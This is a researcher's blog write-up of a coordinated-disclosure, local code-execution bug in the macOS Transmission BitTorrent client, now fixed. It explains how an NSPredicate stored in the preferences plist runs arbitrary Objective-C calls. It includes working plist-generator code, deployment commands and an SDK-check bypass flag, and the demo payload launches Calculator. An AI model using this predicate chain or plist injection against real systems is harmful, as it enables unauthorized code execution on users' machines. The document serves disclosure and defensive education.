Intro

Due to my unemployment, I reverse engineer some software to relax. When I was browsing Twitter(I won’t call it X lol), I saw a tweet about Apple adding entitlements to further restrict NSKeyedUnarchiver usage.

This class lets you decode objects from a keyed archive. It is essentially a serialization format for arbitrary Objective-C objects. I wondered what made it so dangerous and found these essential reads:

The core idea is that NSKeyedArchiver can serialize NSExpression objects, and when deserialized and evaluated, NSExpression can dispatch arbitrary Objective-C messages via FUNCTION(). Think of it as a dynamic scripting engine embedded in Foundation framework and under the right conditions, gives you arbitrary code execution.

I checked which apps on my Mac use NSKeyedUnarchiver with NSExpression or NSPredicate classes. I found one immediately: Transmission, the popular BitTorrent client. Since it’s open source, analysis was straightforward.

The vulnerable code is in GroupsController.mm:

GitHub: transmission/GroupsController.mm#L33

- (instancetype)init
{
    if ((self = [super init]))
    {
        NSData* data;
        if ((data = [NSUserDefaults.standardUserDefaults dataForKey:@"GroupDicts"]))
        {
            _fGroups = [NSKeyedUnarchiver unarchivedObjectOfClasses:
                [NSSet setWithObjects:NSMutableArray.class,
                                      NSMutableDictionary.class,
                                      NSNumber.class,
                                      NSColor.class,
                                      NSString.class,
                                      NSPredicate.class,    // dangerous
                                      nil]
                fromData:data error:nil];
        }
        else if ((data = [NSUserDefaults.standardUserDefaults dataForKey:@"Groups"]))
        {
            _fGroups = [NSKeyedUnarchiver deprecatedUnarchiveObjectWithData:data];
            // NO class restrictions at all
        }
    }
    return self;
}

At line 38, NSPredicate is in the allowed class set passed to unarchivedObjectOfClasses:. This means an attacker who controls the user’s preferences plist can embed a malicious NSPredicate and when Transmission evaluates it, arbitrary code runs.

How NSPredicate Becomes a Weapon

NSPredicate is Apple’s API for filtering collections using a query language:

NSPredicate *pred = [NSPredicate predicateWithFormat:@"age > 21"];

Under the hood, predicates are composed of NSExpression objects. There are several expression types such as constant values, key paths, variables, and critically, function expressions. A function expression wraps an Objective-C selector and a target expression:

FUNCTION(targetExpression, "selectorName:", arg1, arg2, ...)

The format string parser converts this to an NSFunctionExpression at predicate creation time. When evaluateWithObject: is called on the predicate, the function expression calls objc_msgSend(target, @selector(selectorName:), arg1, ...) direct message dispatch.

Combine this with CAST():

CAST("NSWorkspace", "Class")

This resolves the string "NSWorkspace" to the actual NSWorkspace class object at runtime using NSClassFromString(). Now we can construct arbitrary call chains:

FUNCTION(FUNCTION(CAST("NSWorkspace","Class"), "sharedWorkspace"),
         "launchApplicationAtURL:options:configuration:error:",
         url, nil, nil, nil) != nil

This predicate, when evaluated:

  1. Calls CAST("NSWorkspace","Class") → resolves to [NSWorkspace class]
  2. Calls [NSWorkspace sharedWorkspace] → gets the shared workspace instance
  3. Calls [sharedWorkspace launchApplicationAtURL:url options:nil configuration:nil error:nil]
  4. Compares the result to nil (returns true if an app was launched)

The Two Attack Surfaces

Transmission’s init has two different deserialization paths, each with its own exploit profile:

Attack Surface 1: GroupDicts (Class Whitelist Path)

if ((data = [NSUserDefaults.standardUserDefaults dataForKey:@"GroupDicts"]))
{
    _fGroups = [NSKeyedUnarchiver unarchivedObjectOfClasses:
        [NSSet setWithObjects:NSMutableArray.class,
                              NSMutableDictionary.class,
                              NSNumber.class,
                              NSColor.class,
                              NSString.class,
                              NSPredicate.class,
                              nil]
        fromData:data error:nil];
}

The whitelist includes NSPredicate alongside container classes. When a torrent is added, Transmission checks each group’s AutoGroupRules predicate:

// Torrent.mm (simplified)
- (BOOL)torrent:(Torrent *)torrent doesMatchRulesForGroupAtIndex:(NSInteger)index
{
    NSDictionary *group = self.fGroups[index];
    if (![group[@"UsesAutoGroupRules"] boolValue])
        return NO;

    NSPredicate *predicate = group[@"AutoGroupRules"];
    [predicate allowEvaluation];  // ← re-enables evaluation
    return [predicate evaluateWithObject:torrent];
}

The allowEvaluation call is critical. NSPredicate archives with evaluation disabled for security, and allowEvaluation re-enables it. Since Transmission explicitly calls it, the gate is opened for us.

Attack Surface 2: Groups (Deprecated Unarchiver Path)

else if ((data = [NSUserDefaults.standardUserDefaults dataForKey:@"Groups"]))
{
    _fGroups = [NSKeyedUnarchiver deprecatedUnarchiveObjectWithData:data];
}

deprecatedUnarchiveObjectWithData: is the old NSUnarchiver API — it performs zero class validation. Any NSCoding-conforming class in the runtime can be instantiated during deserialization. However, this path has a limitation: the old archive format used by deprecatedUnarchiveObjectWithData: cannot encode NSPredicate or NSAppleScript objects, making direct RCE harder through this vector alone. It’s still a powerful primitive for instantiating arbitrary classes during initialization.


The Attack Chain

The exploit requires no modifications to the Transmission binary — just a malicious preferences plist.

Step 1: Craft the Plist

The plist is a standard macOS preferences file at ~/Library/Preferences/org.m0k.transmission.plist. The GroupDicts key holds an NSKeyedArchiver blob containing an array of group dictionaries. Each group dictionary has keys like Color, Name, Index, and the critical ones: UsesAutoGroupRules (a boolean) and AutoGroupRules (an NSPredicate).

The generator code:

NSPredicate *predicate = [NSPredicate predicateWithFormat:
    @"FUNCTION(FUNCTION(CAST(\"NSWorkspace\", \"Class\"), \"sharedWorkspace\"), "
    "\"launchApplicationAtURL:options:configuration:error:\", "
    "FUNCTION(CAST(\"NSURL\", \"Class\"), \"fileURLWithPath:\", %@), "
    "nil, nil, nil) != nil", appPath];

NSMutableDictionary *group = [NSMutableDictionary dictionary];
group[@"Name"]             = @"RCE";
group[@"Index"]            = @0;
group[@"UsesAutoGroupRules"] = @YES;
group[@"AutoGroupRules"]   = predicate;  // NSPredicate stored directly

NSMutableArray *groups = [NSMutableArray arrayWithObject:group];

// Archive with NSKeyedArchiver
NSData *data = [NSKeyedArchiver archivedDataWithRootObject:groups
                                     requiringSecureCoding:NO error:nil];

// Wrap in plist format
NSMutableDictionary *plist = [NSMutableDictionary dictionary];
plist[@"GroupDicts"] = data;
[plist writeToFile:@"launch_calc.plist" atomically:YES];

The resulting binary plist is deployed to the victim’s preferences:

cp launch_calc.plist ~/Library/Preferences/org.m0k.transmission.plist
killall -9 cfprefsd  # Flush the preferences cache

Step 2: Trigger

When Transmission launches, GroupsController.init deserializes the groups. The “RCE” group with its malicious AutoGroupRules predicate is now in memory. When a torrent file is added — either by opening a .torrent file, clicking a magnet link, or the auto-add folder — Transmission calls groupIndexForTorrent:, which calls torrent:doesMatchRulesForGroupAtIndex:, which calls [predicate allowEvaluation] and then [predicate evaluateWithObject:torrent]. The FUNCTION() chain fires, and /System/Applications/Calculator.app launches.

plist → NSUserDefaults → GroupsController.init
                             ↓
                   unarchivedObjectOfClasses:
                   (NSPredicate allowed)
                             ↓
                   Group stored in _fGroups
                   with AutoGroupRules predicate
                             ↓  (torrent added)
                   torrent:doesMatchRulesForGroupAtIndex:
                             ↓
                   [predicate allowEvaluation]
                             ↓
                   [predicate evaluateWithObject:torrent]
                             ↓
                   FUNCTION() chain executes
                             ↓
                   Calculator.app launches

macOS Version Analysis & Mitigations

Apple has gradually hardened NSPredicate evaluation across macOS versions. The mitigations fall into two categories:

1. Selector Restriction (_predicateEnforceRestrictionsOnSelector)

Checks whether the selector being dispatched via FUNCTION() is in a restricted list. On macOS 12+, these selectors are blocked:

SelectorStatus
[NSObject alloc] / newBLOCKED
[NSBundle bundleWithPath:]BLOCKED
[NSTask launchedTaskWithLaunchPath:arguments:]BLOCKED
[NSFileManager defaultManager]BLOCKED (all instance methods)
[NSWorkspace sharedWorkspace]ALLOWED
[NSWorkspace launchApplicationAtURL:options:configuration:error:]ALLOWED

The restriction is based on a hardcoded list. NSWorkspace launch methods return NSRunningApplication * (an id type), which passes the scalar return type check that would otherwise crash evaluation.

2. Security Action (_predicateSecurityAction)

This function checks whether the process should be aborted during predicate evaluation:

void _predicateSecurityAction(void) {
    if ((CFPredicatePolicyData_getFlags() & 8) != 0
        || dyld_program_sdk_at_least(13.0) != 0)
    {
        __break(0xB002);  // SIGABRT / SIGKILL
    }
}

Two conditions trigger the abort:

  • Policy flag: A system-wide bit that Apple can enable remotely via CFPredicatePolicyData
  • SDK version: If the binary’s LC_BUILD_VERSION.sdk is ≥ 13.0

The SDK check uses dyld_program_sdk_at_least(13.0) which reads the sdk field from the main executable’s LC_BUILD_VERSION load command. This is a compile-time constant embedded in the binary.

Why I used macOS 12.4?

macOS Version_predicateSecurityActionSelector RestrictionsAvailable Primitives
< 12.0Absent or no-opNoneFull alloc + NSAppleScript
12.0 - 12.xNo SDK checkBlocks alloc/NSTask/NSBundleNSWorkspace launch
13.0+SDK check (≥ 13.0)SameOnly with SDK bypass

On macOS 12.4, _predicateSecurityAction either didn’t exist or lacked the dyld_program_sdk_at_least(13.0) check. The selector restriction blocked the obvious RCE paths (alloc → NSAppleScript, NSTask, NSBundle), but NSWorkspace methods were never restricted. The launchApplicationAtURL:options:configuration:error: selector was not in the blocked list because it returns an id type, not a scalar, and Apple didn’t consider launching apps via NSWorkspace a security boundary.

On macOS 13+, even if the selector passes, _predicateSecurityAction checks dyld_program_sdk_at_least(13.0). Transmission was built with SDK 26.5 (it’s a recent build), so dyld_program_sdk_at_least(13.0) returns true and the process is killed.

The SDK Version Bypass

The SDK check can be bypassed if you control the binary’s load commands. For testing purposes, the linker flag:

-Wl,-platform_version,macos,12.0,12.0

sets LC_BUILD_VERSION.sdk to 12.0. Since 12.0 < 13.0, dyld_program_sdk_at_least(13.0) returns false and _predicateSecurityAction is a no-op. This is why our test harness works on modern macOS — we’re lying about our SDK version.

The same Transmission binary on macOS 12.4 succeeds because the runtime Foundation lacks the dyld_program_sdk_at_least(13.0) check entirely; on macOS 26.5.2 it fails because the check exists and the real Transmission has sdk = 26.5.


Demoing the Exploit

I tested this against a real macOS 12.4 Monterey VM running Transmission. The setup:

# Copy the exploit plist
cp launch_calc.plist ~/Library/Preferences/org.m0k.transmission.plist

# Flush preferences cache
killall -9 cfprefsd

# Launch Transmission
open -a Transmission

With Transmission open and the malicious plist loaded, I added the Ubuntu 20.04 ISO torrent via the auto-add folder. About 500ms later, Calculator launched. The predicate evaluated successfully inside the Transmission process, NSWorkspace fired launchApplicationAtURL: with the Calculator bundle URL, and the app appeared on the dock.

Timeline

  • I reported this issue on Jul 23 2026
  • Transmission Team confirmed the issue on Jul 25 2026
  • Fix released on Oct 24 2026 via v4.1.4

Here is the excerpt from the release notes:

Fixed a potential RCE vulnerability in the macOS client. 
It requires local write access to the user's preferences, 
so it is not remotely exploitable. (GHSA-v7mp-fpv3-jf5r)

Key Takeaways

  • NSPredicate in a class whitelist is equivalent to arbitrary code execution — FUNCTION() + CAST() give you objc_msgSend with no sandbox.
  • Two deserialization paths: The modern unarchivedObjectOfClasses: with a whitelist and the deprecated deprecatedUnarchiveObjectWithData: with no checks at all.
  • macOS version matters: The exploit works on 12.x because _predicateSecurityAction had no SDK check. On 13+ it aborts against production binaries unless you can add an SDK bypass linker flag.
  • allowEvaluation must be called: Archived predicates have evaluation disabled. The app must explicitly re-enable it, which Transmission does.
  • No binary modification needed: This is purely a data injection attack via NSUserDefaults.

If you’re an Apple developer reviewing NSKeyedUnarchiver usage in your app: NSPredicate, NSExpression, and NSSecureUnarchiveFromData in the same class set should immediately raise red flags. If you can’t avoid deserializing predicates, at minimum ensure the data comes from a trusted source and consider using NSSecureCoding with a strict whitelist that excludes NSExpression.

I am actively job-hunting and available
Interested? Feel free to reach